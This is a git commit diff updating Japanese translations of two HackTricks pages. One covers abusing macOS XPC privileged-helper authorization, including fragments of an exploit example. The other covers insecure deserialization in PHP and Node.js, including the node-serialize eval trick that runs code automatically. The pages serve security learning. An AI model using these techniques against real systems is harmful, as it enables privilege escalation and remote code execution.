Translated ['macos-hardening/macos-security-and-privilege-escalation/mac

This commit is contained in:
Translator 2024-07-29 17:16:59 +00:00
parent b115b110f2
commit af345d7e1d
2 changed files with 180 additions and 113 deletions

View file

@ -1,29 +1,29 @@
# macOS XPC 認可
# macOS XPC Authorization
{% hint style="success" %}
AWSハッキングの学習と練習:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングの学習と練習: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="../../../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricksのサポート</summary>
<summary>Support HackTricks</summary>
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェック!
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に**参加**または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
* ハッキングトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## XPC 認可
## XPC Authorization
Appleは、接続するプロセスが**公開されたXPCメソッドを呼び出す権限を持っているかどうか**を認証する別の方法も提案しています。
Appleは、接続プロセスが**公開されたXPCメソッドを呼び出す権限を持っているかどうかを認証する別の方法**を提案しています。
アプリケーションが**特権ユーザーとしてアクションを実行する必要がある**場合、通常は特権ユーザーとしてアプリを実行する代わりに、アプリからこれらのアクションを実行するために呼び出すことができるXPCサービスとしてHelperToolをrootとしてインストールします。ただし、サービスを呼び出すアプリには十分な認可が必要です。
アプリケーションが**特権ユーザーとしてアクションを実行する必要がある**場合、通常は特権ユーザーとしてアプリを実行するのではなく、アプリから呼び出してアクションを実行するために、XPCサービスとしてHelperToolをルートとしてインストールします。ただし、サービスを呼び出すアプリは十分な認可を持っている必要があります。
### ShouldAcceptNewConnectionは常にYES
[EvenBetterAuthorizationSample](https://github.com/brenwell/EvenBetterAuthorizationSample)に例があります。`App/AppDelegate.m`では、**HelperTool**に**接続**しようとします。そして、`HelperTool/HelperTool.m`では、**`shouldAcceptNewConnection`**関数は以前に指定された要件をチェックしません。常にYESを返します。
例として、[EvenBetterAuthorizationSample](https://github.com/brenwell/EvenBetterAuthorizationSample)を見つけることができます。`App/AppDelegate.m`では**HelperTool**に**接続**しようとします。そして、`HelperTool/HelperTool.m`では、関数**`shouldAcceptNewConnection`**は以前に示された要件を**チェックしません**。常にYESを返します:
```objectivec
- (BOOL)listener:(NSXPCListener *)listener shouldAcceptNewConnection:(NSXPCConnection *)newConnection
// Called by our XPC listener when a new connection comes in. We configure the connection
@ -40,18 +40,18 @@ newConnection.exportedObject = self;
return YES;
}
```
詳細な構成方法については、次のチェックを適切に構成する方法に関する情報を参照してください:
For more information about how to properly configure this check:
{% content-ref url="macos-xpc-connecting-process-check/" %}
[macos-xpc-connecting-process-check](macos-xpc-connecting-process-check/)
{% endcontent-ref %}
### アプリケーション権限
### アプリケーション権限
ただし、**HelperTool からメソッドが呼び出される際には、一部の認可が行われます**。
ただし、**HelperToolのメソッドが呼び出されるときにいくつかの認可が行われます**。
`App/AppDelegate.m` **`applicationDidFinishLaunching`** 関数は、アプリが起動した後に空の認可参照を作成します。これは常に機能するはずです。\
その後、`setupAuthorizationRights` を呼び出して、その認可参照に**一部の権限を追加しようとします**
`App/AppDelegate.m`の**`applicationDidFinishLaunching`**関数は、アプリが起動した後に空の認可参照を作成します。これは常に機能するはずです。\
次に、`setupAuthorizationRights`を呼び出して、その認可参照に**いくつかの権限を追加しようとします**。
```objectivec
- (void)applicationDidFinishLaunching:(NSNotification *)note
{
@ -75,7 +75,7 @@ if (self->_authRef) {
[self.window makeKeyAndOrderFront:self];
}
```
関数`setupAuthorizationRights`は`Common/Common.m`から、アプリケーションの権限を認証データベース`/var/db/auth.db`に保存します。データベースにまだ存在しない権限のみが追加されることに注意してください。
`Common/Common.m`の`setupAuthorizationRights`関数は、アプリケーションの権限を`/var/db/auth.db`の認証データベースに保存します。まだデータベースに存在しない権限のみを追加することに注意してください:
```objectivec
+ (void)setupAuthorizationRights:(AuthorizationRef)authRef
// See comment in header.
@ -107,7 +107,7 @@ assert(blockErr == errAuthorizationSuccess);
}];
}
```
関数`enumerateRightsUsingBlock`は、`commandInfo`で定義されたアプリケーションの権限を取得するために使用されるものです。
`enumerateRightsUsingBlock` 関数は、`commandInfo` に定義されたアプリケーションの権限を取得するために使用されます。
```objectivec
static NSString * kCommandKeyAuthRightName = @"authRightName";
static NSString * kCommandKeyAuthRightDefault = @"authRightDefault";
@ -185,15 +185,15 @@ block(authRightName, authRightDefault, authRightDesc);
}];
}
```
これにより、このプロセスの最後には、`commandInfo`内で宣言された権限が`/var/db/auth.db`に保存されます。**各メソッド**ごとに、**認証が必要な**、**権限名**と**`kCommandKeyAuthRightDefault`**が見つかることに注意してください。後者は、**この権限を取得できるユーザー**を示します。
これは、このプロセスの最後に、`commandInfo`内で宣言された権限が`/var/db/auth.db`に保存されることを意味します。ここでは、**認証が必要な各メソッド**、**権限名**、および**`kCommandKeyAuthRightDefault`**を見つけることができます。後者は**誰がこの権利を取得できるか**を示します。
限にアクセスできるユーザーを示すための異なるスコープがあります。それらのいくつかは[AuthorizationDB.h](https://github.com/aosm/Security/blob/master/Security/libsecurity\_authorization/lib/AuthorizationDB.h)で定義されています([ここですべて見つけることができます](https://www.dssw.co.uk/reference/authorization-rights/))、しかし要約すると
利にアクセスできる人を示すための異なるスコープがあります。それらのいくつかは[AuthorizationDB.h](https://github.com/aosm/Security/blob/master/Security/libsecurity\_authorization/lib/AuthorizationDB.h)で定義されています([ここにすべてがあります](https://www.dssw.co.uk/reference/authorization-rights/)が、要約として
<table><thead><tr><th width="284.3333333333333">名前</th><th width="165"></th><th>説明</th></tr></thead><tbody><tr><td>kAuthorizationRuleClassAllow</td><td>allow</td><td>誰でも</td></tr><tr><td>kAuthorizationRuleClassDeny</td><td>deny</td><td>誰も</td></tr><tr><td>kAuthorizationRuleIsAdmin</td><td>is-admin</td><td>現在のユーザーは管理者である必要があります(管理者グループ内)</td></tr><tr><td>kAuthorizationRuleAuthenticateAsSessionUser</td><td>authenticate-session-owner</td><td>ユーザーに認証を要求します。</td></tr><tr><td>kAuthorizationRuleAuthenticateAsAdmin</td><td>authenticate-admin</td><td>ユーザーに認証を要求します。彼は管理者である必要があります(管理者グループ内)</td></tr><tr><td>kAuthorizationRightRule</td><td>rule</td><td>ルールを指定します</td></tr><tr><td>kAuthorizationComment</td><td>comment</td><td>限に関する追加コメントを指定します</td></tr></tbody></table>
<table><thead><tr><th width="284.3333333333333">名前</th><th width="165"></th><th>説明</th></tr></thead><tbody><tr><td>kAuthorizationRuleClassAllow</td><td>allow</td><td>誰でも</td></tr><tr><td>kAuthorizationRuleClassDeny</td><td>deny</td><td>誰も</td></tr><tr><td>kAuthorizationRuleIsAdmin</td><td>is-admin</td><td>現在のユーザーは管理者である必要があります(管理者グループ内)</td></tr><tr><td>kAuthorizationRuleAuthenticateAsSessionUser</td><td>authenticate-session-owner</td><td>ユーザーに認証を求めます。</td></tr><tr><td>kAuthorizationRuleAuthenticateAsAdmin</td><td>authenticate-admin</td><td>ユーザーに認証を求めます。彼は管理者である必要があります(管理者グループ内)</td></tr><tr><td>kAuthorizationRightRule</td><td>rule</td><td>ルールを指定します</td></tr><tr><td>kAuthorizationComment</td><td>comment</td><td>利に関する追加のコメントを指定します</td></tr></tbody></table>
### 権の検証
### 権の検証
`HelperTool/HelperTool.m`内の関数**`readLicenseKeyAuthorization`**は、**そのようなメソッドを実行する権限があるかどうか**を確認するために、**`checkAuthorization`**関数を呼び出すかどうかをチェックします。この関数は、呼び出し元プロセスが送信した**authData**が**正しい形式**であるかどうかをチェックし、その後、特定のメソッドを呼び出す権限を取得するために**何が必要かを確認**します。すべてがうまくいけば、**返される`error`は`nil`になります**。
`HelperTool/HelperTool.m`では、関数**`readLicenseKeyAuthorization`**が呼び出し元が**そのメソッドを実行する権限があるか**を確認するために、関数**`checkAuthorization`**を呼び出します。この関数は、呼び出しプロセスによって送信された**authData**が**正しい形式**であるかを確認し、その後、特定のメソッドを呼び出すために**必要なもの**を確認します。すべてがうまくいけば、**返された`error`は`nil`になります**
```objectivec
- (NSError *)checkAuthorization:(NSData *)authData command:(SEL)command
{
@ -241,37 +241,37 @@ assert(junk == errAuthorizationSuccess);
return error;
}
```
注意してください。そのメソッドを呼び出す権限を確認するには、`authorizationRightForCommand` 関数は単に以前にコメントされたオブジェクト `commandInfo` をチェックします。その後、その関数を呼び出す権限があるかどうかをチェックするために `AuthorizationCopyRights` を呼び出します(フラグがユーザーとのやり取りを許可していることに注意してください)。
注意すべきは、**そのメソッドを呼び出す権利を得るための要件を確認するために**、関数 `authorizationRightForCommand` は以前のコメントオブジェクト **`commandInfo`** を確認するだけです。次に、**`AuthorizationCopyRights`** を呼び出して **その関数を呼び出す権利があるかどうかを確認します**(フラグはユーザーとの対話を許可することに注意してください)。
この場合、`readLicenseKeyAuthorization` 関数を呼び出すには、`kCommandKeyAuthRightDefault` が `@kAuthorizationRuleClassAllow` に定義されています。そのため、**誰でもそれを呼び出すことができます**。
この場合、関数 `readLicenseKeyAuthorization` を呼び出すために、`kCommandKeyAuthRightDefault` は `@kAuthorizationRuleClassAllow` に定義されています。したがって、**誰でも呼び出すことができます**。
### データベース情報
### DB 情報
この情報は `/var/db/auth.db` に保存されていると言及されています。以下のコマンドで保存されているすべてのルールをリストアップできます:
この情報は `/var/db/auth.db` に保存されていると述べられました。保存されているすべてのルールをリストするには、次のコマンドを使用します:
```sql
sudo sqlite3 /var/db/auth.db
SELECT name FROM rules;
SELECT name FROM rules WHERE name LIKE '%safari%';
```
その後、誰が権限にアクセスできるかを次のように確認できます:
次に、誰がその権利にアクセスできるかを読むことができます:
```bash
security authorizationdb read com.apple.safaridriver.allow
```
### 寛容な権限
### Permissive rights
**[こちら](https://www.dssw.co.uk/reference/authorization-rights/)** で**すべての権限構成**を見つけることができますが、ユーザーの対話を必要としない組み合わせは次のとおりです:
**すべての権限設定** [**ここにあります**](https://www.dssw.co.uk/reference/authorization-rights/)、ただし、ユーザーの操作を必要としない組み合わせは次のとおりです。
1. **'authenticate-user': 'false'**
* これは最も直接的なキーです。`false`に設定されている場合、ユーザーはこの権利を得るために認証を提供する必要はありません
* これは、ユーザーが属している**2つの以下のいずれかとの組み合わせ**またはグループを示すために使用されます。
* これは最も直接的なキーです。`false`に設定されている場合、ユーザーがこの権利を得るために認証を提供する必要がないことを指定します
* これは、以下の2つのいずれかと組み合わせて使用するか、ユーザーが属する必要のあるグループを示すために使用されます。
2. **'allow-root': 'true'**
* ユーザーがルートユーザーとして操作しており(昇格された権限を持っている)、かつこのキーが`true`に設定されている場合、ルートユーザーは追加の認証なしでこの権利を取得できる可能性があります。ただし、通常、ルートユーザーの状態に到達するにはすでに認証が必要なので、ほとんどのユーザーにとってこれは「認証なし」のシナリオではありません。
* ユーザーがルートユーザー(昇格された権限を持つ)として操作している場合、このキーが`true`に設定されていると、ルートユーザーは追加の認証なしにこの権利を得る可能性があります。ただし、通常、ルートユーザーの状態に到達するにはすでに認証が必要であるためこれはほとんどのユーザーにとって「認証なし」のシナリオではありません。
3. **'session-owner': 'true'**
* `true`に設定されている場合、セッションの所有者(現在ログインしているユーザー)は自動的としてこの権利を取得します。ユーザーがすでにログインしている場合、これにより追加の認証がバイパスされる可能性があります。
* `true`に設定されている場合、セッションの所有者(現在ログインしているユーザー)は自動的にこの権利を得ます。ユーザーがすでにログインしている場合、追加の認証をバイパスする可能性があります。
4. **'shared': 'true'**
* このキーは認証なしで権利を付与しません。代わりに、`true`に設定されている場合、権利が認証されると、各プロセスが再認証する必要なく複数のプロセス間で共有できることを意味します。ただし、権利の最初の付与は、'authenticate-user': 'false'などの他のキーと組み合わせない限り、認証が必要です。
* このキーは、認証なしに権利を付与しません。代わりに、`true`に設定されている場合、権利が認証された後は、各プロセスが再認証を必要とせずに複数のプロセス間で共有できることを意味します。ただし、権利の最初の付与は、`'authenticate-user': 'false'`のような他のキーと組み合わせない限り、認証を必要とします。
興味深い権利を取得するには、[**このスクリプト**](https://gist.github.com/carlospolop/96ecb9e385a4667b9e40b24e878652f9)を使用できます:
**このスクリプト** [**を使用して**](https://gist.github.com/carlospolop/96ecb9e385a4667b9e40b24e878652f9) 興味深い権利を取得できます。
```bash
Rights with 'authenticate-user': 'false':
is-admin (admin), is-admin-nonshared (admin), is-appstore (_appstore), is-developer (_developer), is-lpadmin (_lpadmin), is-root (run as root), is-session-owner (session owner), is-webdeveloper (_webdeveloper), system-identity-write-self (session owner), system-install-iap-software (run as root), system-install-software-iap (run as root)
@ -282,29 +282,29 @@ com-apple-aosnotification-findmymac-remove, com-apple-diskmanagement-reservekek,
Rights with 'session-owner': 'true':
authenticate-session-owner, authenticate-session-owner-or-admin, authenticate-session-user, com-apple-safari-allow-apple-events-to-run-javascript, com-apple-safari-allow-javascript-in-smart-search-field, com-apple-safari-allow-unsigned-app-extensions, com-apple-safari-install-ephemeral-extensions, com-apple-safari-show-credit-card-numbers, com-apple-safari-show-passwords, com-apple-icloud-passwordreset, com-apple-icloud-passwordreset, is-session-owner, system-identity-write-self, use-login-window-ui
```
## 認可のリバース
## Reversing Authorization
### EvenBetterAuthorization が使用されているかどうかを確認する
### Checking if EvenBetterAuthorization is used
もし **`[HelperTool checkAuthorization:command:]`** 関数を見つけたら、おそらくプロセスは認可のために以前に言及したスキーマを使用しています:
もし関数: **`[HelperTool checkAuthorization:command:]`** を見つけたら、おそらくそのプロセスは前述のスキーマを使用して認証を行っています:
<figure><img src="../../../../../.gitbook/assets/image (42).png" alt=""><figcaption></figcaption></figure>
この関数が `AuthorizationCreateFromExternalForm`、`authorizationRightForCommand`、`AuthorizationCopyRights`、`AuhtorizationFree` などの関数を呼び出している場合、[**EvenBetterAuthorizationSample**](https://github.com/brenwell/EvenBetterAuthorizationSample/blob/e1052a1855d3a5e56db71df5f04e790bfd4389c4/HelperTool/HelperTool.m#L101-L154) を使用しています。
この場合、この関数が `AuthorizationCreateFromExternalForm`、`authorizationRightForCommand`、`AuthorizationCopyRights`、`AuhtorizationFree` などの関数を呼び出している場合、[**EvenBetterAuthorizationSample**](https://github.com/brenwell/EvenBetterAuthorizationSample/blob/e1052a1855d3a5e56db71df5f04e790bfd4389c4/HelperTool/HelperTool.m#L101-L154) を使用しています。
特権アクションをユーザーの操作なしに呼び出す権限を取得できるかどうかを確認するために、**`/var/db/auth.db`** をチェックしてください。
**`/var/db/auth.db`** を確認して、ユーザーの操作なしで特権アクションを呼び出すための権限を取得できるかどうかを確認してください。
### プロトコル通信
### Protocol Communication
次に、XPCサービスと通信を確立するためにプロトコルスキーマを見つける必要があります。
次に、XPCサービスと通信を確立するためにプロトコルスキーマを見つける必要があります。
関数 **`shouldAcceptNewConnection`** はエクスポートされているプロトコルを示しています:
関数 **`shouldAcceptNewConnection`** はエクスポートされているプロトコルを示しています:
<figure><img src="../../../../../.gitbook/assets/image (44).png" alt=""><figcaption></figcaption></figure>
この場合、EvenBetterAuthorizationSampleと同じです、[**この行をチェック**](https://github.com/brenwell/EvenBetterAuthorizationSample/blob/e1052a1855d3a5e56db71df5f04e790bfd4389c4/HelperTool/HelperTool.m#L94)。
この場合、EvenBetterAuthorizationSampleと同じであり、[**この行を確認してください**](https://github.com/brenwell/EvenBetterAuthorizationSample/blob/e1052a1855d3a5e56db71df5f04e790bfd4389c4/HelperTool/HelperTool.m#L94)
使用されているプロトコルの名前を知ることで、**そのヘッダー定義をダンプ**することが可能です:
使用されているプロトコルの名前が分かれば、**そのヘッダー定義をダンプする**ことが可能です:
```bash
class-dump /Library/PrivilegedHelperTools/com.example.HelperTool
@ -318,13 +318,13 @@ class-dump /Library/PrivilegedHelperTools/com.example.HelperTool
@end
[...]
```
最後に、それと通信を確立するために**公開されたMachサービスの名前**を知る必要があります。これを見つけるためのいくつかの方法があります:
最後に、**公開されたMachサービスの名前**を知る必要があります。これにより、通信を確立できます。これを見つける方法はいくつかあります:
* **`[HelperTool init]`**内で使用されているMachサービスが表示される場所
* **`[HelperTool init]`** で使用されているMachサービスを見ることができます
<figure><img src="../../../../../.gitbook/assets/image (41).png" alt=""><figcaption></figcaption></figure>
* launchdのplist内
* launchd plist内で
```xml
cat /Library/LaunchDaemons/com.example.HelperTool.plist
@ -337,12 +337,12 @@ cat /Library/LaunchDaemons/com.example.HelperTool.plist
</dict>
[...]
```
### 攻撃例
### Exploit Example
この例では、以下が作成されます:
この例では次のものが作成されます:
* 関数を持つプロトコルの定義
* アクセスを要求するための空の認証
* アクセスを要求するために使用する空のauth
* XPCサービスへの接続
* 接続が成功した場合の関数への呼び出し
```objectivec
@ -422,21 +422,25 @@ NSLog(@"Response: %@", error);
NSLog(@"Finished!");
}
```
## 参考
## 他のXPC特権ヘルパーの悪用
* [https://blog.securelayer7.net/applied-endpointsecurity-framework-previlege-escalation/?utm\_source=pocket\_shared](https://blog.securelayer7.net/applied-endpointsecurity-framework-previlege-escalation/?utm\_source=pocket\_shared)
## 参考文献
* [https://theevilbit.github.io/posts/secure\_coding\_xpc\_part1/](https://theevilbit.github.io/posts/secure\_coding\_xpc\_part1/)
{% hint style="success" %}
AWSハッキングの学習と実践:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングの学習と実践: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
AWSハッキングを学び、実践する:<img src="../../../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する:<img src="../../../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricksのサポート</summary>
<summary>HackTricksをサポートする</summary>
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェック
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
* ハッキングトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details>
{% endhint %}

View file

@ -1,8 +1,8 @@
# デシリアライズ
{% hint style="success" %}
AWSハッキングを学び、実践する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
AWSハッキングを学び、実践する<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
@ -10,7 +10,7 @@ GCPハッキングを学び、実践する: <img src="/.gitbook/assets/grte.png"
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
* **ハッキングのトリックを共有する、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを送信してください。**
</details>
{% endhint %}
@ -21,17 +21,17 @@ GCPハッキングを学び、実践する: <img src="/.gitbook/assets/grte.png"
**デシリアライズ**は、逆にシリアライズに対抗するプロセスです。特定の形式で構造化されたデータを取り、それをオブジェクトに再構築することを含みます。
デシリアライズは危険である可能性があります。なぜなら、**攻撃者がシリアライズされたデータを操作して有害なコードを実行させたり、オブジェクト再構築プロセス中にアプリケーションに予期しない動作を引き起こさせることを許す可能性があるからです。**
デシリアライズは危険である可能性があります。なぜなら、**攻撃者がシリアライズされたデータを操作して有害なコードを実行たり、オブジェクト再構築プロセス中にアプリケーションに予期しない動作を引き起こことを許す可能性があるからです。**
## PHP
PHPでは、シリアライズおよびデシリアライズプロセス中に特定のマジックメソッドが利用されます
* `__sleep`: オブジェクトがシリアライズされるときに呼び出されます。このメソッドは、シリアライズされるべきオブジェクトのすべてのプロパティの名前の配列を返す必要があります。保留中のデータをコミットしたり、同様のクリーンアップタスクを実行するために一般的に使用されます。
* `__wakeup`: オブジェクトがデシリアライズされるときに呼び出されます。シリアライズ中に失われた可能性のあるデータベース接続を再確立し、他の再初期化タスクを実行するために使用されます。
* `__unserialize`: オブジェクトがデシリアライズされるときに、`__wakeup`の代わりに呼び出されるメソッドです。`__wakeup`に比べてデシリアライズプロセスに対するより多くの制御を提供します。
* `__destruct`: オブジェクトが破棄される直前またはスクリプトが終了するときに呼び出されるメソッドです。通常、ファイルハンドルやデータベース接続を閉じるなどのクリーンアップタスクに使用されます。
* `__toString`: このメソッドは、オブジェクトを文字列として扱うことを可能にします。ファイルを読み取ったり、その中の関数呼び出しに基づいて他のタスクを実行するために使用でき、オブジェクトのテキスト表現を効果的に提供します。
* `__sleep`オブジェクトがシリアライズされるときに呼び出されます。このメソッドは、シリアライズされるべきオブジェクトのすべてのプロパティの名前の配列を返す必要があります。保留中のデータをコミットしたり、同様のクリーンアップタスクを実行するために一般的に使用されます。
* `__wakeup`オブジェクトがデシリアライズされるときに呼び出されます。シリアライズ中に失われた可能性のあるデータベース接続を再確立し、他の再初期化タスクを実行するために使用されます。
* `__unserialize`オブジェクトがデシリアライズされるときに、`__wakeup`の代わりに呼び出されるメソッドです。`__wakeup`に比べてデシリアライズプロセスに対するより多くの制御を提供します。
* `__destruct`オブジェクトが破棄される直前またはスクリプトが終了するときに呼び出されるメソッドです。通常、ファイルハンドルやデータベース接続を閉じるなどのクリーンアップタスクに使用されます。
* `__toString`このメソッドは、オブジェクトを文字列として扱うことを可能にします。ファイルを読み取ったり、その中の関数呼び出しに基づいて他のタスクを実行するために使用でき、オブジェクトのテキスト表現を効果的に提供します。
```php
<?php
class test {
@ -87,7 +87,7 @@ This is a test<br />
*/
?>
```
オブジェクトがデシリアライズされるときに、関数 **`__wakeup`** と **`__destruct`** が呼び出されることが結果からわかります。いくつかのチュートリアルでは、属性を印刷しようとするときに **`__toString`** 関数が呼び出されるとありますが、どうやらそれは **もう起こっていない** ようです。
オブジェクトがデシリアライズされるときに、関数 **`__wakeup`** と **`__destruct`** が呼び出されることが結果からわかります。いくつかのチュートリアルでは、属性を印刷しようとするときに **`__toString`** 関数が呼び出されると説明されていますが、どうやらそれは **もう起こっていない** ようです。
{% hint style="warning" %}
クラスに実装されている場合、メソッド **`__unserialize(array $data)`** が **`__wakeup()`** の代わりに呼び出されます。これにより、シリアライズされたデータを配列として提供することでオブジェクトをデシリアライズできます。このメソッドを使用してプロパティをデシリアライズし、デシリアライズ時に必要なタスクを実行できます。
@ -113,9 +113,9 @@ PHPのオートロード機能を悪用して、任意のphpファイルを読
[php-deserialization-+-autoload-classes.md](php-deserialization-+-autoload-classes.md)
{% endcontent-ref %}
### 参照値のシリアライズ
### 参照値のシリアル化
何らかの理由で、**別のシリアライズされた値への参照**として値をシリアライズしたい場合は、次のようにできます:
何らかの理由で、**別のシリアル化された値への参照**として値をシリアル化したい場合は、次のようにできます:
```php
<?php
class AClass {
@ -164,7 +164,7 @@ For more information about escaping from **pickle jails** check:
### Yaml **&** jsonpickle
次のページでは、**yamlの安全でないデシリアライズを悪用する技術**を紹介し、**Pickle、PyYAML、jsonpickle、ruamel.yaml**のためのRCEデシリアライズペイロードを生成するために使用できるツールで締めくくります
次のページでは、**yamlの安全でないデシリアライズを悪用する技術**を紹介し、**Pickle、PyYAML、jsonpickle、ruamel.yaml**のRCEデシリアライズペイロードを生成するために使用できるツールで締めくくります
{% content-ref url="python-yaml-deserialization.md" %}
[python-yaml-deserialization.md](python-yaml-deserialization.md)
@ -183,7 +183,7 @@ For more information about escaping from **pickle jails** check:
JS **には、PHPやPythonのようにオブジェクトを作成するためだけに実行される「マジック」関数はありません**。しかし、**`toString`**、**`valueOf`**、**`toJSON`**のように、**直接呼び出さなくても頻繁に使用される関数**があります。\
デシリアライズを悪用する場合、これらの関数を**妥協して他のコードを実行**させることができれば、呼び出されたときに任意のコードを実行できます。
関数を直接呼び出さずに**「マジック」な方法で関数を呼び出す**もう一つの方法は、**非同期関数**(プロミス)によって返されるオブジェクトを**妥協する**ことです。なぜなら、その**返されるオブジェクト**を**「then」という関数型のプロパティ**を持つ別の**プロミス**に**変換**すると、別のプロミスによって返されるだけで**実行される**からです。_詳細については_ [_**このリンク**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _を参照してください。_
関数を**直接呼び出さずに呼び出す「マジック」な方法**のもう一つは、**非同期関数**(プロミス)によって返されるオブジェクトを**妥協する**ことです。なぜなら、その**返されるオブジェクト**を**関数型の「then」というプロパティ**を持つ別の**プロミス**に**変換**すると、別のプロミスによって返されるだけで**実行される**からです。_詳細については_ [_**このリンク**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _を参照してください。_
```javascript
// If you can compromise p (returned object) to be a promise
// it will be executed just because it's the return object of an async function:
@ -242,7 +242,7 @@ Inside the file `node-serialize/lib/serialize.js` you can find the same flag and
As you may see in the last chunk of code, **if the flag is found** `eval` is used to deserialize the function, so basically **user input if being used inside the `eval` function**.
しかし、**関数を単にシリアライズするだけでは**、それを**実行することはありません**。なぜなら、コードの一部が**`y.rce`を呼び出す必要がある**からで、これは非常に**ありそうにありません**。\
とにかく、**シリアライズされたオブジェクトを修正して**、オブジェクトがデシリアライズされるときにシリアライズされた関数を自動的に実行するために**いくつかの括弧を追加することができます**。\
とにかく、**シリアライズされたオブジェクトを修正して**、**いくつかの括弧を追加する**ことで、オブジェクトがデシリアライズされるときにシリアライズされた関数を自動的に実行させることができます。\
次のコードのチャンクでは、**最後の括弧**と`unserialize`関数がどのように自動的にコードを実行するかに注意してください:
```javascript
var serialize = require('node-serialize');
@ -259,7 +259,7 @@ You can [**find here**](https://opsecx.com/index.php/2017/02/08/exploiting-node-
### [funcster](https://www.npmjs.com/package/funcster)
**funcster**の注目すべき点は、**標準の組み込みオブジェクト**へのアクセスができないことです。これらはアクセス可能なスコープの外にあります。この制限により、組み込みオブジェクトのメソッドを呼び出そうとするコードの実行が妨げられ、`console.log()`や`require(something)`のようなコマンドを使用すると、`"ReferenceError: console is not defined"`のような例外が発生します。
